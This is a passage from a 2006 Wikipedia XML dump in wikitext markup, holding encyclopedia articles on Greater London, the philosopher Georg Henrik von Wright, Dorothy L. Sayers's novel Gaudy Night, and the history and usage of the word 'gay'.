[[Category:Romanian musicians|Zamfir, Gheorghe]]
[[Category:Panpipes|Zamfir, Gheorghe]]

[[de:Gheorghe Zamfir]]
[[fr:Gheorghe Zamfir]]
[[nl:Gheorghe Zamfir]]
[[ro:Gheorghe Zamfir]]</text>
    </revision>
  </page>
  <page>
    <title>Greater London</title>
    <id>12249</id>
    <revision>
      <id>41974220</id>
      <timestamp>2006-03-02T23:56:35Z</timestamp>
      <contributor>
        <username>Wereon</username>
        <id>33684</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''For more coverage on London, visit the [[Portal:London|'''''London Portal''''']].
{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=275 style=margin-left:10px
|-
!colspan=2 align=center bgcolor=&quot;#ff9999&quot;|Greater London
|-
|colspan=2 align=center|[[Image:EnglandLondon.png|London region shown within England]]
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Geography
|-
|width=&quot;45%&quot;|Status:||[[Regions of England|Region]] and (excluding the City of London) [[Ceremonial counties of England|Ceremonial county]]
|-
|[[Surface area|Area]]:&lt;br&gt;- Total||[[List of United Kingdom nations by area|9th in England]]&lt;br&gt;[[1 E9 m²|1,580]] [[square kilometre|km&amp;sup2;]]
|-
|[[Nomenclature of Territorial Units for Statistics|NUTS]] 1:||UKI
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Demographics
|-
|[[Population]]:&lt;br&gt;- ([[2004]] midyear estimate)&lt;br&gt;([[2001]] census based midyear estimate)&lt;br&gt;- [[Density]]||[[List of United Kingdom nations by population|2nd in England]]&lt;br&gt;7,420,600&lt;br&gt;&lt;br&gt;7,322,400&lt;br&gt;&lt;br&gt;4,725/km&amp;sup2; (in 2006)
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Politics
|-
|colspan=2 align=center|[[Greater London Authority]]
&lt;br&gt;[[Image:London.gif]] &lt;br&gt;
&lt;br&gt;http://www.london.gov.uk/
|-
|Mayor||[[Ken Livingstone]] ([[Labour Party (UK)|Labour]])
|}
'''Greater London''' is the top level administrative subdivision covering [[London]] and forms one of the nine [[regions of England]]. 


==Scope==

The administrative area of Greater London covers the large [[conurbation]] which comprises the [[City of London]], the [[City of Westminster]] and 31 other [[London boroughs]], and encompasses what is commonly known simply as London, capital of England and the [[United Kingdom]]. 

It covers 1579 km&amp;sup2; (609 sq. mi) and had a population of 7,172,036 at the April 2001 census. The results of the census were proved to be undercounted, and after careful research the UK [[Office for National Statistics]] published a 2001 midyear estimate of 7,322,400 which is more credible than the census itself.

Since 2000, the outer boundary of Greater London has coincided with the [[Metropolitan Police District]]. The highest point of the region is [[Botley Hill]] in the [[North Downs]], at 267 metres.

==Local government==

Since 2000 the London region has been administered by the [[Greater London Authority]] (the &quot;GLA&quot;), and has a directly-elected [[Mayor of London]], [[Ken Livingstone]], who is scrutinised by an elected [[London Assembly]]. The headquarters of the GLA is at [[City Hall (London)|City Hall]] in [[Southwark]].

==Status==

The status of Greater London is somewhat unusual. It is officially classified as a [[Ceremonial counties of England|ceremonial county]] (excluding the City of London, which is a ceremonial county itself) and as one of the nine official [[regions of England]] - in this context properly called '''London'''. It is the only English region with wide ranging devolved powers, an elected regional assembly or a directly elected leader position. 

The term &quot;London&quot; is usually used in reference to Greater London or to the urban conurbation, not to the tiny [[City of London]] at its centre (which is usually styled as &quot;the City&quot; or &quot;the Square Mile&quot;). In strict legal terms however Greater London is not a &quot;City&quot; as it does not have official [[City status in the United Kingdom|city status]] (though one London borough, Westminster, is officially a city, as well as the City of London itself). However in practical terms Greater London is effectively a single city, and is commonly thought of as such. 

In common parlance it is sometimes called a &quot;town&quot; (in the context of &quot;going up to town&quot;, without specifying which one) and in terms of the [[Metropolitan Police Service]], whose head is the ''Commissioner of Police for the Metropolis'', it is a [[metropolis]].

==Divisions==

Greater London contains 32 London boroughs (including the City of Westminster), which are effectively [[unitary authorities]] and the City of London, which has a unique government dating back to the [[12th century]].


{| class=&quot;toccolours&quot; style=&quot;margin:0 auto; backgrond:none;&quot;
| style=&quot;padding-right:1em;&quot; | &lt;ol&gt;
&lt;li&gt;[[City of London]]&lt;/li&gt;
&lt;li&gt;[[City of Westminster]]&lt;/li&gt;
&lt;li&gt;[[Royal Borough of Kensington and Chelsea|Kensington and Chelsea]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Hammersmith and Fulham|Hammersmith and Fulham]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Wandsworth|Wandsworth]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Lambeth|Lambeth]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Southwark|Southwark]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Tower Hamlets|Tower Hamlets]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Hackney|Hackney]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Islington|Islington]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Camden|Camden]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Brent|Brent]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Ealing|Ealing]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Hounslow|Hounslow]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Richmond upon Thames|Richmond]]&lt;/li&gt;
&lt;li&gt;[[Royal Borough of Kingston upon Thames|Kingston]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Merton|Merton]]&lt;/li&gt;
&lt;/ol&gt;
| style=&quot;background:#FFF; padding:0 1em;&quot; class=&quot;toccolours&quot;|[[Image:LondonNumbered.png]]
| &lt;ol start=&quot;18&quot;&gt;
&lt;li&gt;[[London Borough of Sutton|Sutton]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Croydon|Croydon]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Bromley|Bromley]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Lewisham|Lewisham]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Greenwich|Greenwich]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Bexley|Bexley]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Havering|Havering]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Barking and Dagenham|Barking and Dagenham]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Redbridge|Redbridge]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Newham|Newham]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Waltham Forest|Waltham Forest]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Haringey|Haringey]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Enfield|Enfield]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Barnet|Barnet]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Harrow|Harrow]]&lt;/li&gt;
&lt;li&gt;[[London Borough of Hillingdon|Hillingdon]]&lt;/li&gt;
&lt;/ol&gt;
|}

==History==
[[Image:GLCArms.jpg|thumb|Arms of Greater London Council]]
Greater London was formally created by the [[London Government Act 1963]], which took force on [[1 April]] [[1965]], replacing the former [[administrative counties of England|administrative counties]] of [[Middlesex]] and [[County of London|London]], adding the [[City of London|City]], which was not under the London County Council, and absorbing parts of [[Kent]], [[Hertfordshire]], [[Surrey]], and [[Essex]]. Greater London is bounded by the [[Home Counties]] of [[Essex]], [[Hertfordshire]], [[Buckinghamshire]], [[Berkshire]], [[Surrey]], and [[Kent]].

Greater London originally had a two-tier system of local government, with the [[Greater London Council]] (GLC) sharing power with the [[Corporation of London]] (governing the small City of London) and the 32 London borough councils. The Greater London Council was abolished in [[1986]] under the government of [[Margaret Thatcher]], with some of its functions devolved to the Corporation and the boroughs, and others reverting to central government.  In [[2000]] the [[Labour Party (UK)|Labour]] government created a [[Greater London Authority]] consisting of a [[London Assembly]] and a [[Mayor of London]] to govern the entire area. The 2000 and 2004 Mayoral elections were both won by [[Ken Livingstone]], the final leader of the GLC.

The population on the current territory of Greater London rose from about 1.1 million in [[1801]] (back then only about 0.85 million people were in the urban area of London, while 0.25 million were living in villages and towns not yet part of London) to an estimated 8.6 million in [[1939]], but declined to 6.8 million around [[1980]], before starting to rebound in the beginning of the 1980s. As of 2003, the population in Greater London has only recovered the level of the beginning of the 1970s (which was also the level of population in 1921). Some researchers expect the population of Greater London to reach 8.15 million by 2016, which would still be 0.45 million short of the 1939 peak, but it is hard to make exact predictions for such a distant date.

Wider definitions of London's metropolitan area (the [[London commuter belt]]) extend over a far larger region with about 12 million to 12.5 million in it, but generally include districts distinct from London proper. 

The term 'Greater London' had been used before [[1965]], particularly to refer to the area covered by the [[Metropolitan Police Service]] (which did not coincide with Greater London until [[2000]]), however the term '[[Metropolitan Police District]]' is now preferred.

===Historical population===

Please note: Figures here are for Greater London in its 2001 limits. Figures before 1971 have been reconstructed by the Office for National Statistics based on past censuses in order to fit the 2001 limits. Figures from 1981 onward are midyear estimates (revised as of 2004), which are more accurate than the censuses themselves, known to underestimate the population of London.

 1891, April 5/6           5,572,012 
 1901, March 31/April 1    6,506,954
 1911, April 2/3           7,160,525 
 1921, June 19/20          7,386,848 
 1931, April 26/27         8,110,480 
 1939, Midyear estimate    8,615,245 
 1951, April 8/9           8,196,978 
 1961, April 23/24         7,992,616
 1971, April 25/26         7,452,520
 1981, Midyear estimate    6,805,000 
 1991, Midyear estimate    6,829,300
 2001, Midyear estimate    7,322,400
 2003, Midyear estimate    7,387,900
 2006, Midyear estimate    7,511,989

==External links==
*[http://www.london.gov.uk/ Greater London Authority]

{{United_Kingdom_regions}}

{{England_counties}}

{{London}}

&lt;!--Categories--&gt;
[[Category:London Government]]
[[Category:Geography of London]]
[[Category:Government Office Regions|London]]
[[Category:Counties of England]]
[[Category:Metropolitan areas of England|London]]

&lt;!--Interwiki--&gt;

[[cs:Velký Londýn]]
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  <page>
    <title>Georg Henrik von Wright</title>
    <id>12250</id>
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      <text xml:space="preserve">'''Georg Henrik von Wright''' (pronounced, roughly, ''vrikt'') ([[June 14]], [[1916]] &amp;ndash; [[June 16]], [[2003]]) was a [[Finland|Finnish]] [[philosopher]], who succeeded [[Ludwig Wittgenstein]] as professor at the [[University of Cambridge]]. He published in English, [[Finnish language|Finnish]], German, and in his mother tongue [[Swedish language|Swedish]].

Von Wright's writings come under two headings. The first is analytic philosophy and [[philosophical logic]] in the Anglo-American vein. His 1951 books, ''An Essay in [[modal logic|Modal Logic]]'' and ''Deontic Logic'', were landmarks in the postwar rise of formal modal logic and its [[deontic logic|deontic]] interpretation. He was an authority on [[Wittgenstein]], editing his late work. He is a leader of modern Finnish philosophy, which specializes in [[philosophical logic]], analysis, [[philosophy of language]], [[philosophy of mind]], and the close study of [[Charles Peirce]]. The other vein in Von Wright's writings is moralist and pessimist. During his last 20 years, partly under the influence of [[Oswald Spengler]], he wrote several books, the best known being ''The Myth of Progress'', questioning whether our apparent material and techological progress can really be considered progress. He eventually discovered that Wittgenstein too had read Spengler, and (to the astonishment of von Wright) had liked him as well.

== Works ==
*''The Logical [[problem of induction|Problem of Induction]]'', PhD thesis, [[31 May]] [[1941]]
*''Den logiska empirismen'' (Logical Empirism), in Swedish, 1945
*''Über Wahrscheinlichkeit'' (On Chance), in German, 1945
*''An Essay in [[modal logic|Modal Logic]]'', 1951
*''A Treatise on Induction and [[Probability]]'', 1951
*''Deontic Logic'', 1951
*''Tanke och förkunnelse'' (Thought and Preaching), in Swedish, 1955
*''Logical Studies'', 1957
*''Logik, filosofi och språk'' (Logic, philosophy and language), in Swedish, 1957
*''The Varieties of [[Goodness]]'', 1963. He considered this his best and most personal work.
*''[[Norm_(philosophy)|Norm]] and [[Action (philosophy)|Action]]'', 1963
*''The Logic of [[Preference]]'', 1963
*''Essay om naturen, människan och den vetenskaplig-tekniska revolutionen'' (Essay on Nature, Man and the Scientific-Technological Revolution), in Swedish, 1963
*''An Essay in [[deontic logic|Deontic Logic]]'', 1968
*''[[Time]], [[Change]] and [[Contradiction]]'', 1969
*''Tieteen filosofian kaksi perinnettä'' (The Two Traditions of the Philosophy of Science), in Finnish, 1970
*''[[Explanation]] and [[Understanding]]'', 1971
*''[[Causality]] and [[Determinism]]'', 1974
*''Handlung, Norm und [[Intention]]'' (Action, Norm and Intention), in German, 1977
*''Humanismen som livshållning'' (Humanism as an approach to Life), in Swedish, 1978
*''[[Freedom]] and [[Determination]]'', 1980
*''Wittgenstein'', 1982
*''Philosophical Papers I-III'', 1983-1984
*''Filosofisia tutkielmia'' (Philosophical Dissertations), in Finnish, 1985
*''Vetenskapen och förnuftet'' (Science and Reason), in Swedish, 1986
*''Minervan Pöllö'' (The Owl of Minerva), in Finnish, 1991
*''Myten om framsteget'' (The Myth of Progress), in Swedish, 1993
*''The Tree of [[Knowledge]]'', 1993
*''Att förstå sin samtid'' (To Understand one's own Time), in Swedish, 1994
*''Six Essays in [[philosophical logic|Philosophical Logic]]'', 1996
*''Viimeisistä ajoista. Ajatusleikki'' (On the End Times. A Thought Experiment.), in Finnish, 1997
*''Logiikka ja humanismi'' (''Logic and Humanism''), in Finnish, 1998
*''In the Shadow of [[Descartes]]'', 1998
*''Mitt liv som jag minns det'' (My Life as I Remember it), in Swedish, 2001

Works by Wittgenstein von Wright helped edit, published by Blackwell unless otherwise stated:
*	1961. ''Notebooks 1914-1916''.
*	1967. ''Zettel''.
*	1969. ''On Certainty''.
*	1971. ''ProtoTractatus -- An Early Version of Tractatus Logico- Philosophicus''. Cornell University Press.
*	1973. ''Letters to C.K. Ogden with Comments on the English Translation of the Tractatus Logico-Philosophicus''.
*	1974. ''Letters to Russell, Keynes and Moore''.
*	1978 (1956). ''Remarks on the Foundations of Mathematics''.
*	1980. ''Remarks on the Philosophy of Psychology. Vols 1,2''.
*	1980. ''Culture and Value''.
*	1982. ''Last Writings on the Philosophy of Psychology, Vol. 1''. ''Vol. 2'', 1992.


[[Category:1916 births|Wright, Georg Henrik von]]
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[[Category:Finnish philosophers|Wright, Georg Henrik]]
[[Category:Finnish nobility|Wright, Georg Henrik]]
[[Category:Swedish nobility|Wright, Georg Henrik]]
[[Category:Swedish philosophers|Wright, Georg Henrik]]
[[Category:Swedish language writers|Wright, Georg Henrik]]

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    <title>Goteborg</title>
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  <page>
    <title>Gaudy Night</title>
    <id>12253</id>
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      <text xml:space="preserve">[[Image:gaudy_night.JPG|right|]]

'''''Gaudy Night''''' is a [[1935]] [[Lord Peter Wimsey]] [[Detective fiction|detective story]] by [[Dorothy L. Sayers]]. It is the third of the Wimsey novels to feature [[Harriet Vane]].

It was adapted for television in [[1987]] as part of a series starring [[Edward Petherbridge]] as Lord Peter and [[Harriet Walter]] as Harriet Vane. In [[2005]] an adaptation of the novel was released on CD by the [[BBC Radio Collection]] to finally complete the run of Wimsey adaptations begun with ''[[Whose Body?]]'' in [[1973]]; the role of Harriet was played by Joanna David, and Wimsey, as ever, by [[Ian Carmichael]].

==Synopsis==
{{spoiler}}

Having been acquitted of one murder in ''[[Strong Poison]]'', and been instrumental in the solving of another in ''[[Have His Carcase]]'', mystery writer Harriet Vane arrives for the reunion (or [[gaudy]]) at her ''alma mater'', the fictitious Shrewsbury College, [[University of Oxford|Oxford]]. Here she encounters a tangle of [[poison pen]] notes, obscene [[graffiti]], and dangerous pranks that Lord Peter Wimsey helps her get to the bottom of.

As the case develops, Harriet begins to realize that she loves Wimsey, who has been proposing to her ever since they first met (in prison, as she faced the gallows as a suspect in the murder of her former lover). In an extraordinarily touching scene at the end of the book, she finally accepts his proposal of marriage.

Their marriage and honeymoon (interrupted by yet another murder mystery) is depicted in ''[[Busman's Honeymoon]]''.

----

The plot of ''Gaudy Night'' was adapted to become the two-part ''Out of the Past'' episode (#155 &amp; #156) of the American television mystery series ''[[Diagnosis Murder]]'' starring [[Dick van Dyke]] as Dr. Mark Sloan.
The episode first aired on [[May 11|11 May]] [[2000]], with [[John Schneider]] as the villain.

[[Category:1935 books]]
[[Category:Mystery novels]]</text>
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    <title>Gay</title>
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      <text xml:space="preserve">{{otheruses}}&lt;!--
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--&gt;
{{Sexual orientation}}
In modern society, '''''gay''''' is a word which can be used as either a noun or adjective.  In both forms, it is equivalent to [[Homosexuality|homosexual]], although it is less formal.  In noun form, it is commonly used as a term to specifically identify men with homosexual [[sexual orientation|orientation]], instead of homosexuals of both genders.  The term ''[[lesbian]]'', on the other hand, is used exclusively in a gender specific way to describe homosexual females.  ''Gay'' used as an adjective describes traits associated with gays and lesbians, their culture, or perceived lifestyle.

==Etymology==
[[Image:Punch 1857.jpg|thumb|150px|left| A cartoon from [[Punch magazine]] from 1857 illustrating the use of &quot;gay&quot; as a euphemism for prostitution. One woman says to the other (who looks glum), &quot;how long have you been gay?&quot;]]The primary meaning of the word ''gay'' has changed dramatically during the 20th century &amp;ndash; though the change evolved from earlier usages. It derives via the [[French language|French]] ''gai'', from the [[Latin]] ''gaius'', and originally meant &quot;carefree&quot;, &quot;happy&quot;, or &quot;bright and showy&quot; and was very commonly used with this meaning in speech and literature. In more recent times, starting in the mid [[20th century]], the word ''gay'' cannot be used solely in this former context without the expectation that one will assume a [[double entendre]], or that the person using the term is out of touch with contemporary society. Some have tried to recover the original [[denotation]] of the word, but with limited success.

[[Image:Castro-sidewalk-east-cropped.jpg|thumb|250px|[[Castro Street]] in [[San Francisco]]]]
{{wiktionarypar|gay}}

The word started to acquire sexual connotations in the late 17th century, being used with meaning &quot;addicted to pleasures and dissipations&quot;. This was by extension from the primary meaning of &quot;carefree&quot;: implying &quot;uninhibited by moral constraints&quot;. By the late nineteenth century the term &quot;gay life&quot; was a well-established euphemism for [[prostitution]] and other forms of extramarital sexual behaviour that were perceived as immoral. 

The first name ''Gay'' is still occasionally encountered, usually as a female name although the spelling is often altered to ''Gaye''. (795th most common in the United States, according to the 1990 US census[http://www.census.gov/genealogy/names/dist.female.first]). It was also used as a male first name. The first name of the popular male Irish television presenter [[Gay Byrne|Gabriel Byrne]] was always abbreviated as &quot;Gay&quot;, as in the title of his radio show ''The Gay Byrne Show''. It can also  be used as a short form of the female name ''Gaynell'' and as a short form of the male name ''Gaylen''. The &quot;Gaiety&quot; was also a common name for places of entertainment. One of [[Oscar Wilde]]'s favourite venues in Dublin was the [[Gaiety Theatre]], first appearing there in [[1884]].

===Etymology of the modern usage===
The use of the term ''gay'', as it relates to homosexuality, arises from an extension of the sexualised connotation of &quot;carefree and uninhibited&quot;, implying a willingness to disregard conventional or respectable sexual mores. Such usage is documented as early as the [[1920s]]. It was initially more commonly used to imply heterosexually unconstrained lifestyles, as for example in the once-common phrase &quot;gay Lothario&quot;,[http://www.bartleby.com/81/10549.html] or in the title of the book and film [[The Falcon (literary character)|
''The Gay Falcon'']] (1941), which concerns a womanising detective whose first name is &quot;Gay&quot;. Well into the mid 20th century a middle-aged bachelor could be described as &quot;gay&quot; without [[prejudice]].

A passage from [[Gertrude Stein]]'s ''Miss Furr &amp; Mrs. Skeene'' ([[1922]]) is possibly the first traceable published use of the word to refer to a homosexual relationship, though it is not altogether clear whether she uses the word to mean [[lesbian]]ism or happiness:

:''They were ...gay, they learned little things that are things in being gay, ... they were quite regularly gay.''

The  [[1929]] musical ''[[Bitter Sweet]]'' by [[Noel Coward]] contains another use of the word in a context that strongly implies homosexuality. In the song &quot;Green Carnation&quot;, four overdressed, [[1890s]] [[dandy|dandies]] sing:

:''Pretty boys, witty boys, You may sneer''
:''At our disintegration.''
:''Haughty boys, naughty boys,''
:''Dear, dear, dear!''
:''Swooning with affectation...''
:''And as we are the reason''
:''For the &quot;Nineties&quot; being gay,''
:''We all wear a green carnation.''

The song title alludes to [[Oscar Wilde]], who famously wore a [[green]] [[carnation]], and whose homosexuality was well known. However, the phrase &quot;gay nineties&quot; was already well-established as an epithet for the decade (a film entitled ''The Gay Nineties; or, The Unfaithful Husband'' was released in the same year).  The song also drew on familiar satires on Wilde and [[Aesthetic movement|Aestheticism]] dating back to [[Gilbert and Sullivan]]'s ''[[Patience (operetta)|Patience]]'' (1881). Because of its continuation of these public usages and conventions &amp;ndash; in a mainstream musical &amp;ndash; the precise connotations of the word in this context remains ambiguous. 

Other usages at this date involve some of the same ambiguity as Coward's lyrics. [[Bringing Up Baby]] ([[1938]]) was the first film to use the word ''gay'' in apparent reference to homosexuality.  In a scene where [[Cary Grant]]'s clothes have been sent to the cleaners, he must wear a lady's feathery robe. When another character inquires about his clothes, he responds &quot;Because I just went gay...all of a sudden!&quot; [http://xroads.virginia.edu/~UG03/comedy/bringingupbaby.html] However, since this was a mainstream film at a time when the use of the word to refer to homosexuality would still be unfamiliar to most film-goers, the line can also be interpreted to mean &quot;I just decided to do something frivolous&quot;. While there is much debate about what Grant meant with the ad-lib (the line was not in the script), Grant's Hollywood background should leave little doubt as to what he meant--he knew the connotation of the term, even if the audience did not.

The word continued to be used with the dominant meaning of &quot;carefree&quot;, as evidenced by the title of [[The Gay Divorcee]] (1934), a musical film about a heterosexual couple.  It was originally to be called [[Gay Divorce|The Gay Divorce]] after the play on which it was based, but the [[Hays Office]] determined that while a divorcee may be gay, it would be unseemly to allow a divorce to appear so.  

By the mid-century &quot;gay&quot; was well-established as an antonym for &quot;straight&quot; (respectable sexual behaviour), and to refer to the lifestyles of unmarried and or unattached people. Other connotations of frivolousness and showiness in dress (&quot;gay attire&quot;) led to association with [[camp (style)|camp]] and effeminacy. This range of connotation probably affected the gradual movement of the term towards its current dominant meaning, which was at first confined to subcultures. The subcultural usage started to become mainstream in the [[1960s]], when ''gay'' became the term predominantly preferred by homosexual men to describe themselves. ''Gay'' was the preferred term since other terms, such as &quot;[[queer]]&quot; were felt to be derogatory. &quot;Homosexual&quot; was perceived as excessively clinical: especially since homosexuality was at that time designated as a mental illness, and &quot;homosexual&quot; was used by the [[Diagnostic and Statistical Manual of Mental Disorders]] (DSM) to denote men affected by this &quot;mental illness&quot;. Homosexuality was no longer classified as an illness in the DSM by [[1973]], but the clinical connotation of the word was already embedded in society.

One of the many characters invented by 1950s TV comic [[Ernie Kovacs]] was a &quot;gay-acting&quot; poet named [[Percy Dovetonsils]]. In one of his poems (which were always read to an imaginary off-screen character named &quot;Bruce&quot;) he mentions the expression &quot;gay caballero&quot;.

By [[1963]], the word &quot;gay&quot; was known well enough by the straight community to be used by [[Albert Ellis]] in his book ''The Intelligent Woman's Guide to Man-Hunting''. By 1968 mainstream audiences were expected to recognise the ''double entendre'' in the ultra-camp musical entitled ''[[Springtime for Hitler|Springtime for Hitler: a gay romp with Adolf and Eva at Berchtesgaden]]'' &amp;mdash; which formed part of the plot of the film ''[[The Producers (1968 film)|The Producers]]''. The camp implications of the concept were explicit in the ludicrous pastiche of Coward's style epitomised by the title song:

:''Springtime for Hitler and Germany
:''Deutschland is happy and gay!
:''We're marching to a faster pace
:''Look out, here comes the master race!

===Syntax===
''Gay'' was originally used purely as an adjective (&quot;he is a gay man&quot; or &quot;he is gay&quot;).  ''Gay'' can be also used as a plural collective-like noun: &quot;Gays are opposed to that policy&quot;; although this usage may be deprecated by some, it is common [http://www.google.com/search?q=gays] particularly in the names of various organizations such as [[Parents and Friends of Lesbians and Gays|PFLAG]]: (Parents, Families, and Friends of Lesbians and Gays) and [[COLAGE]] (Children of Lesbians and Gays Everywhere). It is sometimes used as a singular noun, as in &quot;he is a gay&quot;, such as in its use by the [[Little Britain]] comedy character Daffyd Thomas (a gay man who believes himself &quot;the only gay in the village&quot; despite abundant evidence to the contrary).

===Folk etymologies===
It has been claimed that &quot;gay&quot; was derived as an acronym for &quot;Good As You&quot;, but this is a [[backronym]] (based on a [[fake etymology]]).

Another [[folk etymology]] accrues to Gay Street, a small street in the West Village of [[New York City]] — a nexus of homosexual culture. The term also seems, from documentary evidence, to have existed in New York as a code word in the [[1940s]], where the question, &quot;Are you gay?&quot; would denote more than it might have seemed to outsiders.

==Commonly accepted usage==
''Overview article: [[Terminology of homosexuality]]''

* ''Gay'' is used as an adjective to describe sexual orientation (attraction, preference, or inclination) and is usually chosen instead of homosexual as an identity-label.
* ''Gay sex'' involves acts between or among people of the same sex or gender.
* ''Gay'' is usually used to describe the &quot;gay community&quot; by both insiders and the mainstream media.
* ''Gay'' can be used as a nonspecific derogatory comment towards a person or object. As a term of abuse it is widely used by adolescents.
* ''Gay'' is sometimes used to describe an object of particular flamboyance.
* Other connotations can vary widely based upon speaker and situation.

===Sexual orientation===
[[Sexual orientation]], behaviour, and self-identification are not necessarily aligned in a clear-cut fashion for a given individual.  See [[sex]] for a discussion of sex and gender.  Some people consider ''gay'' and ''[[homosexuality|homosexual]]'' to be synonyms.  Others consider ''gay'' to be a matter of self-identification and ''homosexual'' to refer to sexual activity or to sexual attraction that is predominantly to members of the same sex.  By using these definitions, a person could be gay and not homosexual, or homosexual and not gay.

If a person has had same-sex sexual encounters but does not self-identify as gay, terms such as '[[closeted]]', 'on the [[down low]]', 'discreet', or '[[bi-curious]]' may be applied.  Conversely, a person may identify as gay without engaging in homosexual sex.  Possible choices include identifying as gay socially while choosing to be [[celibate]] or while anticipating a first homosexual experience.  Further, a [[bisexuality|bisexual]] person may identify as gay while maintaining a [[Monogamy|monogamous]] relationship with a member of the opposite sex.  Still others might consider ''gay'' and ''bisexual'' to be mutually exclusive.

Some same-sex oriented persons prefer 'homosexual' as an identity over 'gay', seeing the former as describing a sexual orientation and the latter as describing a cultural or socio-political group with which they do not identify.

====Self-identification====
Self-identification of one's [[sexual orientation]] is becoming far more commonplace in areas of increased social acceptance, but many are either reluctant to self-identify publicly or even privately to themselves.  The process is fairly complex, and many groups related to gay people cite inadvertent [[heterosexism]] as a leading problem for those that would otherwise self-identify.

====Selecting the appropriate term====
Some people reject the term ''homosexual'' as an identity-label because they find it too clinical-sounding. They believe it is too focused on physical acts rather than romance or attraction, or too reminiscent of the era when homosexuality was considered a mental illness. Conversely, some people find the term ''gay'' to be offensive or reject it as an identity-label because they perceive the cultural connotations to be undesirable or because of the negative connotations of the slang usage of the word.

According to the '''Safe Schools Coalition''' of Washington's ''Glossary for School Employees'': 
:&quot;Homosexual: Avoid this term; it is clinical, distancing and archaic. Sometimes appropriate in referring to behaviour (although same-sex is the preferred adj.). When referring to people, as opposed to behaviour, homosexual is considered derogatory and the terms gay and lesbian are preferred, at least in the Northwest [of the United States].&quot;

Sometimes the term ''gay'' is used to describe both same-sex male and same-sex female relations. More rarely, it is used as a shorthand for terms ''[[queer]]'' or ''gay'', ''lesbian'', ''bisexual'', etc. The term also sometimes includes [[transgender|transgender]], [[transsexual]], and [[intersexuality|intersexual]]. Some trans and intersexed individuals find their inclusion in this larger grouping to be offensive. It is commonly used to refer specifically to gay ''men''; the precise meaning may need to be made clear from context. The term ''[[lesbian]]'', however, is exclusively female.

===Gay community===
''Main article: [[Gay community]]''

The notion of the '''gay community''' is complex and slightly controversial.

Just as the word &quot;[[gay]]&quot; is sometimes used as shorthand for &quot;gay, lesbian, and bisexual&quot; and possibly also &quot;transexual&quot; and others, so &quot;gay community&quot; is sometimes a synonym for &quot;[[LGBT]] community&quot; or &quot;[[Queer]] community&quot;.  In other cases, the speaker may be referring only to gay men. Some people (including many mainstream American journalists) interpret the phrase &quot;gay community&quot; to mean &quot;the population of gay people&quot;.  

Some LGBT people are entirely geographically or socially isolated from other LGBT people, or don't feel their social connections to their LGBT friends are different from those they have with straight friends.  As a result, some analysts question the notion of sharing a &quot;community&quot; with people one has never actually met (whether in person or remotely).  But other advocates insist that all LGBT people (and perhaps their allies), ''are'' part of a global community, in one way or another.

===Descriptor===
The term ''gay'' can also be used as an adjective to describe things related to gay people or things which are part of [[Sexuality and gender identity-based cultures|gay culture]]. For example, while a [[gay bar]] is not itself homosexual, using ''gay'' as an adjective to describe the bar indicates that the bar is either gay-oriented, caters primarily to a gay clientele, or is otherwise part of gay culture.

Using it to describe an object, such as an item of clothing, suggests that it is particularly flamboyant, often on the verge of being gaudy and garish. This usage pre-dates the association of the term with homosexuality, but has acquired different connotations since the modern usage developed.

Using the term ''gay'' as an adjective where the meaning is akin to &quot;related to gay people, culture, or homosexuality in general&quot; is a widely accepted use of the word. By contrast, using ''gay'' in the pejorative sense, to describe something solely as negative, can cause offence.

==Pejorative usage==
When used with a derisive attitude (e.g. &quot;that film was so gay&quot;), the term ''gay'' is [[pejorative]]. The derogatory implication is that the object (or person) in question is inferior, worthless, effeminate, or stupid.
This usage has its origins in the [[1980s]], when homosexuality had already become mainstream but was still [[taboo]]. Beginning in the [[1990s]] and especially in the [[2000s]] the usage became common among young people, who may or may not link the term to homosexuality.

==References==
*1995. ''The Merriam-Webster New Book of Word Histories'', Merriam-Webster, 189-191. ISBN 0877796033.
*Harper, Douglas (2001). [http://www.etymonline.com/index.php?term=gay Online Etymology Dictionary: ''gay'']. URL accessed [[13 February]] [[2006]].

==See also==
*[[Anti-gay slogan]]
*[[Bisexuality]]
*[[Civil rights]]
*[[Coming out]]
*[[Dyke (lesbian)|Dyke]]
*[[Faggot (epithet)|Fag]]
*[[Gay pride]]
*[[Gay rights]]
*[[Homosexuality]]
*[[Lesbian]]
*[[List of LGBT-related organizations]]
*[[List of gay-related topics]]
*[[List of gay, lesbian or bisexual people]]
*[[Pride flag]]
*[[Queer]]
*[[Religion and sexuality]]
*[[Sexual orientation]]

==External links==
{{wikiquote}}
* [http://www.gayrightswatch.com Gay Rights Watch]
* [http://www.pinknews.co.uk Gay News]

[[Category:LGBT]]
[[Category:LGBT]]
[[Category:Sexual orientation and identity]]

[[ar:مثلية]]
[[ast:Gai]]
[[bg:Хомосексуалност]]
[[ca:Gai]]
[[cs:Gay]]
[[da:Homoseksualitet]]
[[de:Gay]]
[[de:Schwul]]
[[et:Gei]]
[[es:Gay]]
[[eo:Gejo]]
[[fr:Gay (homosexualité)]]
[[it:Gay]]
[[nl:Homoseksualiteit]]
